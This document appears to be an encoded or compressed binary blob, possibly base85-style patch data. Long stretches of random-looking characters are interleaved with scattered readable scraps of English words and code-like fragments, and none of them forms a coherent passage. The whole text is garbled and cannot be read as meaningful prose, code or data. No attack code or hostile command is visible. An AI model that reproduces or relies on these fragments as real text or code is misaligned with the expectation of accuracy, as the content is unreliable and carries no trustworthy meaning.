zZ{k`24LDZ##2BC67WQtj%zm}+%jGBRZL`db+E3z_O86yXU3z3udUFScsBeBJ>}{`& zr!#oLGjN$|wUo`OZ-epV*jnM}J&yz1D@<;on>TC~}0KJ4@qwO3Scw*2*N9^<#K z8KIw0q=`DewY9Q(^S+L*wn_CK>d&7P$?WHQAT~g?W?-^4v0ET(*uuM$1ve!M?si(Q z6m6@l-ZshdMB4Tph-ByTd;(X*iyR*7V-$QQh5eDXit4r{r;AtT(U#{YZDLIeH|!pF z(?Y1Atr{{+0={0CLiS3d_H|TLzi=u=nz*e+Tvp+J2{(cf|4$GAZt;ssQblt|hJ8Px zTq!rham>ogVpmz4i=6%Wb$2fxk{CS(R}bL5uut5Fjr%TTIEzG*g7;|an9pL^xDtEY zxE8iqK9{xm!Ej}JrS(!`4BP3dxv7Bhl94>(6vO=XzV|&v-CbDz$~CQB*5-Y1mv)<3 zd&abey-j8~7j5%Qk5$=Z?t2U8l)-j0a%Vuq{ocX1&~7S7Z@FFoyc%Ea1C?Bi|p!`d+^GQ@@F4X5eevnT@}5i+?m z9#@lF$SGGKb1SN~y{1;ck~8~8a%Lx;>Us8mnAd06;g)j}TqM1{n4x%+H}d^-nWy9$ z>{;A0CGFE$@?P-O%4+Ozv@$9G@r<-sZ$`b~Zp-6|HtJiT)r)@7cRdBc9P)o>HPk`1DA)>|38Y$4-OVw{zKlf{@;qr zKZ~R0tWJCP#McS`Ux>@Ep;-!-UrZp0%kf+Le;F=+>=@L?H{tRhlklJ6^8dQ#e+QSt zi9Q6Ie+`EQ#QDe%lL(#r+ILqXUIw9zx_ngY2<_%f2B8t){)(=Tbd$O1| z#0pY%<(%1;sw(F2Iuey#+_wCU3QJi14dckhMdae#;N41W5dDa|dSue>39iM1H;BMe z7ffBzeWZLXSMCO93Ml$lAn1ru-$ki9qiJoA{#+NC8YIf@XGSVAVt?pcoKYtNdxk*^ z*cl3~Rw`rokLdf!rWyZ>yLW+)vN-q0XOj>@637MuBwS=sR4RfIqH?jCC0Pubz#0Nl zTS`K9Ln66sH@gr#UV?xUV`^%xrLAq#Q`>TS+8UKsw4NG}3SO!aZ&p9(sm(*It zEC26z=6QGD-7M-k{rvvF)8D|G@B7R=^UO0d&s^Sj=AFH^25iG4^P!PtIGbfSk(zAV z7%dxSp`HcE$FT#RZ}Nd}5N}|k_?H`QFx$Ze|no{`)Ny8@GTL;r~ zw%y7c<3(aC|18$lu$x}^G}3(1uwc!m(DfBvtFvQM~xx$_x9J$Z2ur5=Q_NQKXwn__Y7{b^1mt5cvQnfm-lrD*88T+TL0q5 zk@zR)W^6pn(iq9o*m~p{o#58@Gec_!%MlT~(2jgrD(NoR&HG2D(r(V`%KlBx@Ah?t z%KEo_;>}a)>d{6i_rfQyeDTPH-(3v9BROErx$)nqyly@We0}gcMywHvH`CuP?=auJ zjKjn4)?@h_^RM^3d+vxU(%mV0cX-~dnDxZ{`OqA8i8h0COP<74 zu(+{?ic@4g_v5koC2XqsGxm-xSkrlB%6l)mQ{V9*W@>79{em^ug;QsRTa3;*H+Dk8 zmQQ+dYI4pEEx5-Kh5z+Fb}(&yqncmtVY8;%JQ|*7VvE#!FVcI#nj6D7D`n073_lIw z_d~UIte#$ts=be`3m=?p{e9KmPf~FZM@RU^@{Xn-=4?9(b1K{EzMtlVU6#d5yQ;eQ z!{Q5rlgm0YI~Ql*9Xqx}RXmQ}^Ue;>v+h}sc2qo(bNAxRoVzRVV~%TX$D-}QI`>KY zI@a7>S32(@+&+vY+Q&<~(j0j6SkYPMUi5Iz)+>+>?)K$u4YI@e?Z;5B&Vw%(u3Ja? zp8L<&^xjR`kof?zG5A%+z`}^D&XcqCPJG*e%A zf@WHrp_xW4xDmj2Sb4_5zt5NE+;=$Psm=js`q_ zthsI}wlyu?`c{f()}Knzn}&E1Bc)c-^hS9jql9u4md0lmW>Go&CMUZxvyYmT8>Y=@_O~YY*cwWWoGxVK|tUZ{uk1Nz26}NYI?t=bz z*Kz&*fc|?K!#De&dSB;8z)rIfPc+9)4sywy&(bTPqkE3yFK{+*!ZJ^7HM?z>zd8Oy7>7?T5x( zP@M-hIo(`~$LtEf71{1kVQ;7B4yy9;d;O<1kzNcf&uMzFRa28DC z%6nL8N1S!;)cr`~9&{h6`#U_pW`P|Uqwnv4pRwKWje0%5j_+-9AgR+>Hu8I9CdfPL zFur#}d1`xqr{^xn_dL|$*=yL2RA?(iHyOWFPxEJSsB4&>au z^8U_>y`5M7es9EinS-yEo(AQ7+bMOYwR==kCYdTG@`3ciqdz?3wpQ-ANCZc3qAt^&CK}#4GGI z_aE@QhnL!q9`Jl<04sm(-~MW%-N1b z81#ksJ;XVc#UUOpj+-%q+I4d*vayb{}L^w%rjT4t6IZby{Z?u2rExcqF4mXA`eMKm&n zpX8kjS>a|8^6(WX#IDK-k&CsA&^d|m->61>s&Fo&VF6L6-DyReq@#s1_pqzjQIdLO zZlZu+P=G`$M>M1ID-~2Zoc&-)YC3v`!7gmFPK+7UN$1>+Q}FS7)fI2-9n8nNHq3Nz zZzKa74adGCrQ~Vob7BRlE3eFbAN5$eb+8(TU;P!O*Yp?n@7P;zI8?E?>xPu%zV9r}x&MidiXXb)`y;+{L8p%#Zq9|^g1@6s-uolPz$<6lQiPRudX99i z{EM5XrtYo6OCb&f(B<}W%ulfe5G>dXgfXC^tEj_$4~?k2Bm8)sXTg{tc3q8ecP@d> z;gJ{(a6l7BgB_2k0ZekDaUi5g*)+P=F_shWWc+Pc~fc~u>7fKgBvS}Qo9icS${T$K; zE2ZZ@5uL~*+pl~pT!1byoQE2Ave5o2Y(<(4-%63qz5S|;aF%C5a~jNX!JN=9+?{{N zq#Q3&Kk7<5yR`EdKBB{l$g0j4E4rGISKsKrxKDcCGw)sGE^P+>RN#x!2Qe_XJ5$W- z$TYl-#JKQ)yJM{0y-??IT$<*Y^&vm)#i)!=u#a86ue>w-IGUrI-q@&_ikjEtuk&$?30-ODql14$h6K;E9UeSs z;K>5*^lA*f_}j$r&FggsZVdjDGxkrQ6m#8^Ub*5iJ}8Lj+<6rakc%hJ~!7 zdQ{lEbk>s{S3<1k*>FE3VvI*zB%()!K8y+vpr3t~`s-2QS#2%&tc&BpfEf>t>hS>6 zsOPpmd~DG^jszGZo1Vk%bQsFZxc^h#q6fnGzP;jQ){Y(tDEDQK1P^q89c3i<&zbr( zt>bAUsX9H+cX)7Oy*7Rp!e5V^XoS_h z_xxlu#-<}DJt#xMTiBH2>HK}i%D>?EhJVJEv;7YkAn@f1Mu#7oc6el@$m;aG<-Uh& zD;P3h!FzMA!Eb}ZmSJbQI3W3Zp010Jp?#wG94N#0Vg3(CTSe)-qoDVJ4Rv?Y`?^`^ z84?X20x@gi2@S~SV>#EA;Ld%o%#t47Gzzia8a$7|u=*)h8yLqnFa~WPQ@4S^lQe@^ z|Mn}7g|kZ+G<_IO$KUrt_hBPDW_QoRp5{I8!5S0iM6X_jgZ1Al>k4BB8qD8w(%-c0 zV^cR)GB_nlDTU>i@=biH*nX*H`=#3UkI?qZw!R75f8%Pb0{QRu%=)w5p`7|5S^@hm zBy)8K3l$}aMzGQ}0^I=I_vsc;ntG6y%vSKAw1PvP)IL2mIuvaMp43O#3h-_JO4ABF z_Ez9WsXV%QZReWr#Ww_F|L)Z1wf*(bc6f~S?~7Ug$|Tm0 z^*_#rKG4>WXFRcfZ11wHpA#Wt{q9BkKi&L2QS-NEKL>;Pn995aBZa9>?u%LOk@L0n zd$Jyfrf;AX(eSmo$E^RzWX83}GWM>`wbS!MRMuTw@87oOKxpdD($oP~R9@YJitp@k zq37)?8;#A!gCmaeVY1?_J>%i0?W{BWR_UUF(k?G{|1TeKV{CA58T$2{gE?PGOt}pLh-35;`SxNuF6x zKJg|aGWco~oQc*In&Bwx`j@ow&S!Zx!Pg&#GMJnGg&%<-xxr~j_z+S>vpO4(IwK(g zv)#^p2!}6N;E@WOdI+rU&fk}Io$Ew+>7oy4*hgEZVyl`1`v$p8=w9?dD?UWS-nTx? zLfCUI-TQ{?g030({r7?32+yMb#2AqJNNMV0?BzQTK>h`I&cK-)NCV27~572nV8E8VdowRA^gK6YGiiDDw> zo%iA?oJ$l~o8-K+4`pSacS3w&I739gP0_dO3YUIt$Cp#_L|E}1)c=Dc3uyuw@9K5x zt*>Lxfp113caP&k**%y+;30B!d8?iYai>@@7T~zUGgG2($nM75x~v07mgu$ng^{$E zn9E17b8!;pP~2K@2pcr8wcr9w&++Ng2#7f{4m%k5^>ipR(uc1c%C^>G^LuT6bQ924 z*$;)?1URD`8+xc)`e>9`2L!n7j8jiF1=+OW>=?ihzHDQKvB-N*LML*qZl*8CV7JEC2b1}hoq zKDLk1%J#mA6WBamX=i#C?UkJakl^VkNrQ-yp44Z^g7j$JSqX`s+DwK#6 z$yb{5I}gse!FGp~Mf=#n^yxHl@EVf*T>30ceG_k(Bu_cp5AjtNet|=U7kWC8Oy@Yg zX1^D^Jvtx8-gzhb4p(hdnqT*=-&kw`0C$1feYO zQlhW(Ajna}%9oS*pH8J1ah;Leye!W*CAPAW7Tyv%wZ=Xhb;W!Ly)+?Lmw z{cr_#UoL*I6yFM?0c4}G{wiPFwY6u|_MJjPdwp)}hdf>FtK@g7$k{+?w_Bh(wodvN zP2GZ2T5*EnhxkHH+U&LP!ck&nI6+L>?0kK?8jc~4yaG+7&CbV$$}D&tKn-^uJu)Wp z%tT8*dL#sV6}d*|Gdc1n1WYia!vsDq@i02orqp5gFl+K)EW8J`=1=! zQk(zYhx+Rb9CCs)Pf)FF*7y;>V<#_0aUMIlRR3L~{|@0VzvXtW)EhTDU&Fe38x}j- z_!(GdMF4NYT#*mQprh^Bz5~U9voY>=vfJJ7;x=gQbo><*fX!48um-XICEpp$DC^9M zy!1D4A1KMk7f1?-x2H-yn5y*03x9^X-P{{_y_caltz@uxh)KoiQ{j!AHtrMbkHz7l zcQA(V4?g-|pWyvReEfkCh#!@gKiD5f&m8QFqvsFy8oC(i4_*D}@CWm^VyiL+P=l!+QE?`VB> zjrirs@fA`g@^|CIHYuMT%C8dn#a7(T?cMOl3CQR@oLhfF;uE}Sof&yJ&n^+=Y2wG^ z6@zu~sbeC)>v|0OYH)u7U5b+}bovSP8NiB9S*;hxQ{hzHZ5^1{ zvDmqNab9>7EbZenJ~?(IQ&;?+_gL}9>X1L3UR7dx3H1Kc|H1U{IWwC6{3Pi=^+`hh z6X?=^H2s4`(e(Gcn-u8qlea6XUp?ux1p1wyMZ-CW48HnUR31%r z@TpjMHR=5^x{UPh7{4x`+ax?@|DM&x`17{;Z}e7wz1A->@Kbxs zGzD(Uk2lKiC4X_GHwnMhf8LBR=^u1?Z4+9mF$&1jPTOqhqsSF{25kyUDxO1 zQDZPKMh{`eFqjsj>lyyePoni-O#0OreUSW5#b`dd4DOH71EhDy=)yG6x5a2oU?HzD zDqq{vwpjR4%wq>bF`9>P4*FuWi*!|tE+l_xjNV1MC`R{_o)M$5)PnrS=zd-QF?uz_ z-@(B_x_-K@=ZS=aug2)3-yO*bj%*M9|WH>!@4S8}AL;Fm^)Cz`oKXOpLaZdqpzNC4n3&nv&G;CJ%7-3V7N`7eQJ68dnA9I*K2#&E%Y#bI~BB7I{ukAZ8#;@%;&7wQ6uh;GM zFVXrMpuAUq7^QW8`&5k9{ptP~t^3>EFB9#3wI(L0&nn`3lD=RZd4@hcRgkLvo5(Yk)CVzjoG z(ipABt0Ie*`g~`n(Px-FKtI-Rn#JFBy{_+fr2m8d?F@f4Mr;13VstOVt^U&D-yI9r z_H|o~c53^N(OTZN7#(1EC`Rk_eKA_gtBTQDUTKWh;YA7bj08H*qHXP6JrLjC3k_Yy z{O$g>)Mw}Qn!YVY7c=~3i5)hAJ+Sqx7vsV+W9Ji{8Ihatn+wB2Bh@$>Wti_h zqmg)IOGhk7n_g6={&|Z?jV(MOXo)Q-S=3XG8;*6;>a9Hok^WnWtv=$y_bHaHv9=IR zI#P(w(zouxmS>!8kQF%*)Uh3;5(Ulco9~&A*V&2wSm3Y6wHi9$!k2^@VbRRT+L_7X z==Z*nx3(vVRaRT!Duafd<3EbfpzF=n8D2iPRg}cOZ-gGPuj|{*t`6n)|15n91M`hHn(~8GPqIK0c=3 z^%nA%#awuS%+p19kXqzNVCz1D#)?X~9 z@m+4$2={b^b&Lo?Z+%AfnF;jtczSflGtg(KpAuf5i61KK8ht8!@ZKH2D%}S`gAjz@ zCq;kDgZonWlRhJ!h98y%GJ{Vr$6OEW8nGE>hRBNm!{g>b~g8Kz`3*IL9b-^nH>jWABy zf=30@KQig&37#leD7aAYLcvvnmkDkZyjJj5!99YH3JwUqBbf2ANq36iDS~qaO9fX6 zUL|;g;12|M3qB?o5loSK8!I?daG_wiV3F91HWvKh(g|F<(N49G5}Nxr;M&Iu<_cnm zJY9R1V20pCK|Gewwew_0BAyjAa-4!|*MDt)Ubr}=-2r-jrNPyLABlg4(0PI`!P5n8 zqV#RA+o9$4RvC2u++gWZgRAElOpKRzj!A#U`^m#C{=cfwRlKjgW<@R0`*Rb|=~O!1 zA(8L;cjNCpKi4wllwQc zw60xO)9PQi(BD$Gt|8=V^@pfe%)hRtp)nQ^^Iuovi+MAOb~`1VekmVksmX^+urL9= z33Rv6{es;d6W_Ze9*ZU1ieD|X^A3~G;)@KwQ~a&;dsmA81tL$vtA##Z`u!4Kz0|}z zUizFxvW@lQ9AmcGb|Bl}5YPprV|yYWv24GzY}~UgdO^E@bPVs7{8;ulw9}+Nbc?}( zn+5Sv5%~vhlJIXBRD#aUhOVn=Z1saL6buuz9@OB57gBV3HzR$_8P$CWdXSfndNcf} zO>cfzaAbCxOp-r>W=eYLhQ3 zUgLu?`HU9=?E=!Vd@Q~f68K(C;G_PvHLbcWFs>CZ|3JKa7ibq5;3$8W=ryp$=+!6K zZ(*bHcQqLd2wL*X6XaJV$S0q@zV;xT_BN1&kNWtyS|X0+(FoclG{dcQ6U*b)Bz#Qg zQJXy4_3KIaDEHil;?pe!?Sem@l`ie57yhJo0JDLIkHdEZeq@b&J|Ova16@EmOCB*X zAE!SuoR8`5gg^NMK+5Y&!pAW(^r+!02Xc(O4LBc2XQj(>`N|(+`Q;dW1?X-v!C8DP z|A>u`_OBjGQT;?X^7(Oja9Q=d8sV0s-u0k&hzI$bY654V%Raa2yx17TV5?pSo`}U~ z`aOv6A_JUVuYOxP%ughNkNixRaw*64cuX$yF(0%GNJqIjmmj_RC*S%xi^{dOCuQ+9 z6$gSfi|1XyaJY8;H;M!2pBykg*7#}5S3}4jtO>OQHG@?yR)6Kg8O9darhGLEb=+| zoQH;|%N$ts>qR)T+4dQH2Ze7a2_N%QJP<1v*2l~zho?*bYWQ1@?Y|B5PVunHB^lqr zBz(!z&3Gz4-LuGKbKcb+cX?IG@?}emXE@-i3Hb{Z{I#c{=c*-3%RS576&@?9@jp|Q zEniW!qRL%aB>|)@KFCljJe8|F%a@f{5f@i3cbAs9S6KX|%T{QXO2n^RzOu^08@Oej zstWgti&SY@iFc{jv#iv33mr>wMdd0c8MQ~N9(|Z!upVy(x+Jbup2S4^x$ni{e0ICY zc*)2s1b!ZQ^~d4c34hD6UVD=8+0z|BIP;MKdvZxcdp;8Ftn7301(NX5{t96)mg5`k z_5}N}+I_^vNBvw+4WB*kT+9e)VKFHCXz_%v}AN&2oHa<2sR8za5b!}^?C9pPB7t$d%{~Di9d#|<9 zWV*KSpdTq&5pDjhp_*Vae_wrVU~OZ|dWx~j(djcV(I3)voR)xoWKE1`(wB(C(ii_G zf2cLMagMLCQAbyaH0_n;`q3+~a;F)j{W-qePczZg%)87y{}-p4=YGrH3&C$W+HrA0 zd@G%RjgRTHCGeGq5R1Pjfqz#5|1Qy|{R>8)HeWn8ihr4)Q*gb%*&l4ERj%D8KUVy& zNcb+nPo~Dkxhy2zi&eB5X;XAuzcP2p|9$~oaz z+zhYP`v1Qzz_BIz&+$2(RfEK99I<~Xj?eecia$K}|6QNYY5`0s5C5zbNyYA+>T_mT z*b@0aUv6VuP8GX1cQ{SY=GwPhvvu3{Yp>hUaee0vU0=Vk`x`fX^X6~e^6j19`R?~_ z{r(Sr*z==*{qb!-`RUJg{oBv~{TILd)$P4^+WZ;6o2T^5`EPd%XXNLr*^S^fS*Me(sOYzwoCQUmAG%l|R4wpa1oj$lz;7UVr1w zw}$@u_TS$5`@8QQegA_GKl&J}pN^E&v=QkeGe%`*Wse?{~rQXSh(oiFP?XPam~6~pTBN>eZyrN z8k?G10$&TZhQb>+wQauq%U@aZ)wR{f5C4}duDt5%|J(Whzn%U+T>kFGC8eGv7nCi% z@S^gHWy`%6SFWhS88EBAbg3!-;8UeU$Wre45sZ5ALS1iXvzq|5F zy0w5Vsrr)FV>KPp%gf8%Rq(;RyS&_l%(&Xj+bq7KXUse#U;O7gQ`^}9E&q%J|NRw) z|L9dR{}cZ9Cyak2!9V*k<3Et#pY{ji|Bp7W<5%D3YF=vXoYU1DuXSCuElq(&f5?v&iN;2HaPrNG z_Z(H#VDhNY?gmY zhn%7P&(MC1?}aa&Tafpqc#~a=t4XcHU-Ryk{>xO0+L*+DIk-azv$$7)Cjg&B32qfu z>v7=?0L7^bao-3{EJwN-u`K6?l%Q$=k8u^M26U~e7kUYJ*TE;O{q1sUASdQ)@?+_* zl+jlyqbKuDy)1nUHiKq*lxp-aG)u#zOFpJUIW@>p7@GJb20Y=GXzgQuRnVMVtqFXW zARj)R^Z1Y|aQkiC6)59oTig{0kEf}Jm9A1IJ*A9%(v-)1P!9EGe7sjGTiDdJur+E> zKDg6e6>u)zY=#3D;#HjC^POP`FU-bmOh=XaYyC~@{82+$*0M2rC>-=50B%XJLGDm4_2FP^ltOv=ea(KGM^)HR6)nx0YeiVF zCPX=m&o~Nv3OowoOhT2k1U+pHA#bpy*3Z&yLS5FP?1QKUKYA7)ESq_y1vjJS8o=R4 zi)EV&YCadmsL_gV!B~Igu-z5-XXmj(S)WVMMlU!{DBJaN)V*7CC6iF8&Q^tL9{y40 zY{+p#E7OkIo?Wxx7cMdya8!8AiNQOFBd*qZ>F|xBcFUegxBhDwiu@ALTYT+E`&7W?`G)8 zR2de)KT0$)8W7Tq`f#CSm`fwI3BK&9T$*zO^f$VP(2ALR)?zCpHfo+0RR=%HW1U(# zWB(875x(FS&hDT711T4XfNsAg2m6>xXq zPFDFP%YiRi?xr-bMx)!?T&zi3?Txixqg#o|7h790SuSmZv|~#r%CzL26P0J_^ZDv? z6VghaV)8n*(mVTqkRDqW+wA`&y|bd}1z@Ab1~x)g5HdOHH=@*rw&x_nY~L-qw_va7M<2;v z%daI^c4VQ+&zTAKM6D>1{e$Uq*niP>l8phDETSbZW>3_2xV$EmI(tEuM7^$$8r`>< zK4Qah)3N0LPwXc?CC;%}=JwK#=^tyStQGbeA@sZKZ|f0Z)J_}W>zpq2Rwdk^AFT=4i z0Gjt41vt8Kq%b=3xvj0_ig*LMqFbVAx{+>?5 zFZ*IuvCv~BeCT=;&NWB6ZlUuHsa!%A2;JXd__>xzS1t5pL#m-2CVYy}Jwl%#^lG7} z3Eh32;dcq`5_-DOh1*Sdo6t_7tqJVVHWPlig!c>mk@gbA2I*!thZ`Gli#79fcf?dE8L9jR=(L-Qx0L3JxXuDCTCwulfu5yhGsnV_*|#pJ;b`2 z^)29`YsF%G{p<}bSQNC;HFa3?)E+wAl@RW-g*Ucrtib|$AnXr@T4p1fksJuluB~rq zHbNme5OhW9W*C37f79&C{WVyQ_UUx%u?ZV$U?;Y5^(~D$Y&{eUxz+_6LNyJ1vhp{t z*Z#Ga`)lh#TS6@k>{->Shg)k@7zGiAZmpXdq7S&OoBY0p*816X4b56kYoMl?^hT`n zULN*0S_)hK;UFGX@z`k5CZDcoKBNBrV3?Xm>6&1Tjz~|qm_N4FA`y#jMmcLv!xr^# zYVrAl$gsuN-?sYZ1HHTb~(t9-iTwxLqWxbOS?6Z z5aJ7mP<+v1(CwT?5elN5xCKC}n(d$dt?1}#U_3@U(=Ql*yn=10YrrcS?JR!wH@5D^ zl261{uc8%VqA5!gUBTLvOn{}g&6IS29b2{D}Otqw9$V@lrGot+oH75zdA~r{CT6aNxwKsUug0Zr7t!4iP9#2 zM{l;u+vppK(idp{!%^DQ$H4@8kI+jhjXt}gw9&UaN}K$&M`@FOKV4 zX%oLNN}KpDp*_n?{+&WEtuoH2JmY{wTdnhwl;ETV?XoBeZ9Qk=Gri zO?Z2hHu}{^>E&9UH%goQ6h`S%9qx+KX2Wbol=kTGp_`e zk1Xm6z{|9YWUthz{-*J`0Jb(``k6Z#^t*ZB$IGZVs{ zLRVE8d$Y>dDjy}`7CqD*U!GR^TjiUbJt=#n^X#q^kXCs*7{vOe~phZ z5wWGg7Zr%`aAU~C;#|wbf_^O+*RdT>wgIZe!IlmFW>=uWY>!n{NCp$4&926V<_)cQ z{{iu{Tbdg;ySU5MWo<`POReuF{eC?If&Q4*XCwUfk}j$Tyqk5}P$s#*3;7wQ7xElt3F}DsvlJ!k z@>!L`@(#s$Q2%gky`{EV+C(k=L0t}ruk(Sqcx%Y$VJm-~&*(l!DcHr_x9Ia>53b?& zVxEbo5n6!H-yEHmXgy^8SeKurZ&W^J^_bpZwuLGPHz!z!wi`~heJ-fW6({`=2q8>g z*O<@WS{rN#Sl{D#+WfVyx)w}&VV#x{fZrWlkF2(e#l)V+;>*R=5{%0g%C$KV4xNFA zNq}A8QW$qI7{=ls^ssE7%i)qiORlI*``6{Kbw(<-s?sr*Th^f)5QwIR5StI;*|VXX zMP|Q3ub`{MT8m%4?lQDYS2?$mwggWVJzOQ&k>2VmYk=`#^>MSSG+JJo#kCk8+X|CA z7_8YW5$*o5C@z%hOfA_}g$?J4!Vpr;t*m$^!}EGWtt(WI$6TKa4{t%A5nPSNSF;|4 zwo!K@XdQvgY$ABP2(w>tSzlL)9@WCPksk$rCO6XmymEb;(d|G*G*hf+!f2x!z8Sa@70%AuvHxk2yuXl+=J7*Q#xa~EEEe0hyAIH~`Qbs_fgaW!jC z&axBXJ5^OzR#kCCt@fCCP<7ZB!lODCx0~?&F%GIieq&8*aOIoD1@Z%Mw z&S>?<20YNi((%?MR@}$}w(#RAQ{9T@R)hY8mC7&wV}eY*Vl!S1 zM@qW@ThYbRKTdp8nh8>&H{S=aV#LL_`&fgo=7%XQbuqq;>?Bd28`o(Iu>z{2mY~#E zu_@^aT&LhV_uMb4^UnLCIvMw8;F^tV7OvB9U4h@vI^`4~boeSR9<(s?3rd|1L=^o- z7t!$!SgDh7oq=oid8a8v!5d}V^TMB5AZDA_zsii#=4BFXdOG5N5!ZC^o(nC?mqRg+ zwQEE54Xj%kP}brz9bb$@{6GzZjdU%~=dW#qKRZgF>7)_p`l*>8<_l&B9{q{&j|d(X zJSf;FxJPi8;7-Ae^(KC|&^rXZ?Z&@d=qm)<1Ve%W!A8Mq!PSCotwv6j&|blE!7{;8 z!D7L41?LME2^I>TE;v(ghM-GuieSEAo}g1OTQEZ~O;8DbbeqxpsNg$-LxQghMg(6K zJS=!nuurg8aHrr7!GNGwuu#w`IP_zqN59}M!5xCtg2jUQf=B<=#ES?H2p$$ZDA*%- zv)~TFHo?_`^97xPkslfPeS+PB0l_jsm*7y3@C)_`TK2a?=z2k~V4@B+WJXX%oL zW?##u6`Y`8E)M^dt^S~yJS}ZDGe-nmA`J`S)nB9u9@vS+7U}(S*X6gJ|kmfTOhD05Qtk3I`gE9 zm$~uSeCA0@_2;@oJ_Vn7(hBX5TUCPnQp<3y#D0?*pdIuShcznI_VW~;QDb=xLxyzQ z!gt}m-$q*zD9e(~53%T9jEnN^Za(-dXXiVbz-RGLrt{xpG7{6a(jlx4}b>q+@`XYtT)2jUz=IL`2~v&7w#f4~+#WV$NBt`Kp$AqQtI8IL4?)8Mzu7T%Bh zqqy3Cg>w;b9nVp=Rl|0Dn4aCWfzR&4^!NtHbsX80Io}qx8u!Pm3#Mb2Z`UJHzP;WU zk9rj2`m}mOaFj2x-Ygp+4|QOAIGc)OoU`-oA>ZvN-z0oiB%OcoSZ+1$kJlE+LzxzL zT>fn`$YCtSyK ztfw+tcmVgGr3+@0Ej9bio%&&c9yt%hInn^^|((=n-M6>l5J0)^6k#zq2CbV>_Irr$g;D<-7}=$79PQU zvi_N}EZO$-Dc|nM!wCYNHx>E66Zyw=Jcnt9^4h}NasPSyD#~OUv?V&bUQE~SEZymM z7;*X$jo;)Qf~`yKTi6T zWy!XuPx*Fd@zAdgarzOCZ}sggarfkp*usz6?#W0Qmb0fzxprqycNgN6VZ#l+@wc@51;&ew~+W(Rn1 zmcuYU%Yz|3w(vc;PgZ7>Wy!YdN%?kX@zAe*bgIhOgK;{6Cz0O;9?KQl?&(Jvmb0fz zxprqycOWNKwIdwg@Yz}7?isSv7T$~dWcj8nOSV0I%Kz`U>0k~x@e_!+b`Peg=_7FN zQD|hGpCdC(WfrBY%(>|SM|z4%52h4qoD0lJS2@0sDhJ^?bF%`}C9v4&Pz}tTl%{ek zM+dU2vkG5W;81%u;G8|mn497)9B0P56+pT#1DU5k2~Al&l#!pN@{2~P%*yltWenJ4 zxblpQ^MG_wy-XT7x&7F&e$i)uvZkh~sYMwor!q^+%4kHpnP6l*31s?j0qJsa&=KR) zsS?J`P*Z(QRZx|q#utrI8F!{>8HJGH72aJyx+-iiHZhMKbA3wO)ri|Iyb;-y+))sV zTa37LULbX=2GS=0qy@GEIdA9&at_i1Ob7M?M*{nReBSB@jsgwZ!Zef@$UWB8z_Gvpkk!-?;Z8x9U?Gt2t&4^B3RVMI zegR79pzZb~(R|6^US3ugvpMXp+ zdpiEWEdtUOzXYVbJ|Jx&c%ss_@CcB$@SnhJ;4vU=Vd6paD-czn zzA5zYfhcnIw9wpw?gH%u(pLWlL{X~L(+oWih@w*^LVpd2qEK6ez8#37Q1=V{1`t_Q z9}DfqdI_?it^z_e^>v{?0730A1{?7rjJnMig_f{b5|C>P8?>->w z_Z1-PHw8jizh?q-fYrb;z#D<1fwu#*fiD8HfTPbe^?NRG6zG*erne2q^u7UPdUpVs z-T;v4;nlEC&joaXTn=PN4nrG6x6v*`2ft3G4;5gu8z_GwL zfw{mjMMnM?ft23}r2OvzDgU=X%6|<=`2}Yg`DH-LuK==rTnZcy3;|jGKL)aV4*{89 z$Jr))3@{J$93b^s1EfAz0;$jUfz0otKUT%(YE9LheFt^yY+brY`GJTcy{0MC+Hi${9X5r_3qScfs+l%F0W zH9dWV%D*PBZ)_m9+G*oM_Ozq@IB?zffSKp8)-AtX@GAywIoB8Q?h!<>U5n6;RheoP+S_=vOHDi%huF5!Mo@+Ad z#hwvYtueeyfplF$C+4qS;sjW}Uo~+q2hwd5+Oa4@EkgcskhdK4H+XKWcGPC7+9Y|l zx0i0nE*OomVx6f=(w3tQ@p|+?d>iS89&96pKBLPQfpixO&2YNuxLkEgosaAEgQ)9q z>1y0lnQ9E`a|HCXhdD;2sZn!B^r4Ik9pA}N-$}@esfSFJQ5ma;JyI^cNUy)a=<*Jb z?wHWY>Tdw?0+$*7TYz-8Z7_81#B?>WXq?JClpYvSou=zMqruc!pX93_sN2{1#-DVb z#6Je4b2XZ>D+01KmI>_z(p3W4?p6YI`x=Kau`<0-_wkaR6Y|?7{1%C~OK5u?t_FX> zi5cod*luoc^gvessJ@Yb^lHjt7}Mv)^r-i(55?DKG16guQV*BpsSv31C~*Kfyc_;~ zP3C@PGkuj>4J2@`R{^9h8->1F=nkRnd246hre$DGk~1uC z3`@*g+r#mB>w`=yZ#}rD9=*V1d2<%yJ-+B#hrW&O79e?V12V1MUo-R@K<4cjkTRJL z-5-F=+q*&^6M7V6(CjaGbv+Axwa^_x>%3K(asDXt zrfqn<$~_cs!wjPwUQCBNR6iP@w|>avyoKra;GWnEByXP}Zlif+c%d8P#YPk7t3bN1 z0~u!*kh!=^Xy+!A{$)Uh{|Lx=`dvWEV)}G{0#e6OkWDuhNP3FU({bP4hIu}&!>`Dk z*OwmWmwS4aI=u*Ub_Y&>92zr_-JjWKW<;isc3o!jR}7g<+Y6*l)q(*aezQi0Z3EKX zDD>Mv@{YXRD8Dq)WNd$gBf0&1-=yrPHr9^m3q1vnW%Y?ii7Ue> zADCD@p>VuTuT9eHmGt_6?Go<*knS0wi>@C2ltjb28<(QnMCi|wV$yF{j zx#$En*)d7w^^fgyGHmQfHP$y?jRpT$@MpnqI^?x~2XjqaMSp^QHl(YDP@1YP%D|XC zDn1OnL$~62`1_b6ke73{s`Pk2@bn=(;|F-((hr_Aw1;;_#`!roUk}=B%bQnd@AtY< zRs{v=s=${SH}9jrYBDnWAhYLolkUAhx<`bz z^Ou2tK>R-tzN}so&tBI7@FlBj`dg0m#LIUmzODzL3+vh?a?62qYlLPv-5Ws0x2L=F zIO)>ga#p%8B&4e@FzE&)om(Z{Ukc4|y3s(&$hFP&`XIkg_@0q?M}*Ejag;jIH%XmP zRDkxGr$+XT2w3l9B8bO2b&2dk!D3+d9j0900Mb?6Y04`Iq$W25>7D{o#;2v@Y(|W` z4Br|c-4-D8@k1cx?G=B=ZjqOR^^(dIJ(r!2_=V!%0;Ic6=%njP(4RUD2o4FVGUM+A zay)ebb5FtAL1-e%XgtaYec0RPjTPs;Z2@TZ8>3GZkZz06dw|scA)!a!ZSqk7WZD~m z91AZO`VJt|JPhQR|E|yz_85M~DTY3DUg|Y#w3>x?X{X{{+DUkqHW77~J(M|Mf1lO^ z{k#&tNM`8NAG2s!=t8NMMP-3LHzXa8aRt#^Tx(<5?v zDQ8+b=GB?jTB06bhp3mtYXefw&w+H0h(G1@i<|)6_3}WUsgHI0OnqzvGOfKp)>{Oa4t(kNhW-ec z0(#1WM&9{AhW`x6c)P{_X&~JPK<07m0YfhWlKvu)`fL*a9`U!{XMWndRxk2TR}G|$ 